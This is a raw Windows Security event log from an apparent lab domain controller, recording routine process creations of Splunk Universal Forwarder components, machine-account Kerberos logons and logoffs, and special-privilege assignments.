ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x45c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:13:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257178 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4BE613 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:13:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257177 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x4BE613 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 59453 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:13:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257176 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4BE613 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 02:14:08 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257179 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe44 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:14:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257180 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1070 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:14:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257181 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe34 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:14:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257182 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x104c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:14:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257183 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12dc - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:14:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257185 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x122c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:14:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257184 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x7dc - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:14:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257188 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4C1BB2 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:14:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257187 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x4C1BB2 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 59466 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:14:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257186 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4C1BB2 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 02:15:08 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257189 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x136c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:15:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257190 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1154 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:15:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257191 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc78 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:15:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257192 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x2e4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:15:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257193 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x4a8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:15:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257195 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x117c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:15:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257194 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x127c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:15:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257198 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4C50F8 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:15:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257197 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x4C50F8 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 59479 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon 